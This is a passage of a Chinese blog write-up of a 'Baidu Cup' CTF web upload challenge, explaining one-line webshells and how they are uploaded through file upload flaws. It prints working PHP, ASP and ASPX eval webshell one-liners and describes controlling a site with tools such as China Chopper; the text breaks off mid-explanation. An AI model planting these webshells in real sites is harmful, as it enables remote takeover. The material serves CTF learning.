“百度杯”CTF比赛 九月场--web Upload

本文介绍了在“百度杯”CTF比赛中关于Web上传的题目,详细讲解了一句话木马的概念、工作原理以及如何利用它们。内容涵盖了HTML渲染过程、Linux的cat命令使用,以及三种不同的解题思路,包括PHP的htmlspecialchars和file函数的使用,以及绕过限制的方法。
摘要由CSDN通过智能技术生成


基础知识

1、什么是一句话木马?

最简单的理解就是,一句话木马上传到网站后台,然后我们可以通过提交参数等的方式去获取shell,比如拿菜刀或者蚁剑等工具。比如下面这段php一句话木马:

<?php @eval($_POST['key']) ?>

【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘key’]表示从页面中获得key这个参数值。

其中,只要攻击者满足三个条件,就能实现成功入侵:

  1. 木马上传成功,未被杀;
  2. 知道木马的路径在哪;
  3. 上传的木马能正常运行。

常见的一句话木马有:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。


2、一句话木马的简要原理

首先我们先看一个原始而又简单的php一句话木马:

 <?php @eval
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值